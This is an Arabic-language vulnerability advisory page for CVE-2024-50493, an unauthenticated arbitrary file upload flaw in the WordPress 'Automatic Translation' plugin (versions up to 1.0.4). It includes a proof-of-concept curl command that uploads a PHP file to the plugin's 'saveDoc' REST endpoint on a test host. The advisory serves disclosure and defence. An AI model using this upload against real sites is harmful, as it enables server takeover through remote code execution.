CVE-2024-50493

الترجمة التلقائية <= 1.0.4 - رفع ملف عشوائي بدون مصادقة

الوصف:

إضافة الترجمة التلقائية (Automatic Translation) لووردبريس معرضة لرفع ملفات عشوائية بسبب عدم التحقق من نوع الملف في جميع الإصدارات حتى 1.0.4. هذا يمكّن المهاجمين غير المصادقين من رفع ملفات عشوائية على خادم الموقع المتأثر مما قد يتيح تنفيذ أكواد عن بُعد.

CVE: CVE-2024-50493
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: automatic-translation

إثبات المفهوم

curl -X POST \
  -F "file_name=info.php" \
  -F "file_url=@/tmp/info.php" \
  "http://kubernetes.docker.internal/wp-json/automatic-translator/v1/saveDoc"

CVE-2024-50493

الأكثر شعبية

CVE-2024-50493

الوصف:

إثبات المفهوم